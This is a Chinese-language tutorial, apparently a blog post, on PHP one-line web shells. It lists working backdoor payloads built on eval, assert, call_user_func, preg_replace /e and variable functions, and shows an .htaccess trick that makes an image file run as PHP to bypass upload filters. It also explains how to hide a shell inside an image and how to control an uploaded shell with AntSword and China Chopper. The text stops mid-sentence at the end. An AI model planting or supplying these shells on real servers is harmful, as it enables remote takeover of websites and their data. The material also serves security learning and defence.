一句话木马是什么
一句话木马就是仅需要一行代码的木马,很简短且简单,木马的函数将会执行我们发送的命令
如何发送命令&发送的命令如何执行?
有三种方式:GET,POST,COOKIE,一句话木马中用_GET\[' '\] _POST[' '] $_COOKIE[' ' ]接收我们传输的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。
根据前文,一句话木马大多分为两部分,一部分是可以执行代码的部分,一部分是接收数据的部分
eval函数
POST方式
<?php eval($_POST['a']);?>
其中eval函数是执行命令的函数
_POST\['a'\]就是接收数据的部分,这是一个超全局变量,后文的_GET也是一个超全局变量。其中的<?php ;?>表示是代码语言,也就是将该代码当做php代码进行解析。eval 函数把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾(也就是有php代码的标识)。
<?php @eval($_POST['a']);?>
@符号: 错误控制符,即使出现错误,也无视出现的错误信息,继续执行下边的代码。

GET方式
<?php @eval($_GET['a']);?>
与post方法类似,仅是上传参数时的方式不同。

assert函数
<?php assert(@$_POST['a']); ?>
这是直接用assert写的一句话木马的。assert与eval类似,但是也存在区别。
eval与assert区别
当遇到可变函数时eval不能执行,就可以用assert
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
比如下面这个一句话木马
<?php $_POST['1']($_POST['2']); ?>
不能直接传入post参数:1=eval&2=xxx来进行连接
但是如果是assert函数就可以:1=assert&2=xxx
连接方式
浏览器中
前文的post方式和get方式的连接方法是在浏览器中进行传参:
post方式意思是将其中的密码用post传参的方法进行连接,这是在消息体中存放数据
get方式意思是将其中的密码用get传参的方法进行连接,这是在消息头的url路径中存放数据
这两的意思其实差不多:就是用post或者get方法接受变量,将变量里的字符当作php代码来执行。
用工具
工具有多种,比如蚁剑,中国菜刀,冰蝎,我主要用的是蚁剑
当我们上传一个文件,上传成功且知道路径就可以
进入蚁剑的主界面,然后右键,选择添加数据,编辑后显示连接成功,然后点击添加就可以访问该网站目录文件了。

绿色表示连接成功
红色表示有错误
橙色表示没错误但是未连接
一些特殊的php一句话木马
没有php标签的
这里利用script替代标签<? ?>
<script language="php">@eval($_GET['b'])</script>
回调函数:
<?php
@call_user_func(assert,$_POST['a']);
?>
调用call_user_func()函数,其中第一个参数是函数,第二、三个参数是函数里的参数
call_user_func函数类似于一种特别的调用函数的方法,使用方法如下:
function a($b,$c)
{
echo $b;
echo $c;
}
call_user_func('a', "111","222");
call_user_func('a', "333","444");
//显示 111 222 333 444
?>
preg_replace:
这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能------可执行命令。
这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个"/"之间。如果我们在这个表达式的末尾加上"e",那么这个函数的第二个参数就会被当作代码执行。
<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>
php变量函数:
<?php
$a = "eval";
$a(@$_POST['a']);
?>
该例子中第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名
.htaccess文件
<FilesMatch "x.gif">
SetHandler application/x-httpd-php
AddHandler php5-script .gif
</FilesMatch>
该文件的作用就是将某文件(在上面的代码中也就是x.gif)当作php文件来解析,这样可以实现后缀名的绕过
那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则,则报错
图片马
故名思义,其本身是一个图片,但是包含了木马。最简单的写法就是自己弄一个文件大小较小的文件,然后用文本打开图片,在末尾加上一句话木马就写成了一个图片马
比如这个:
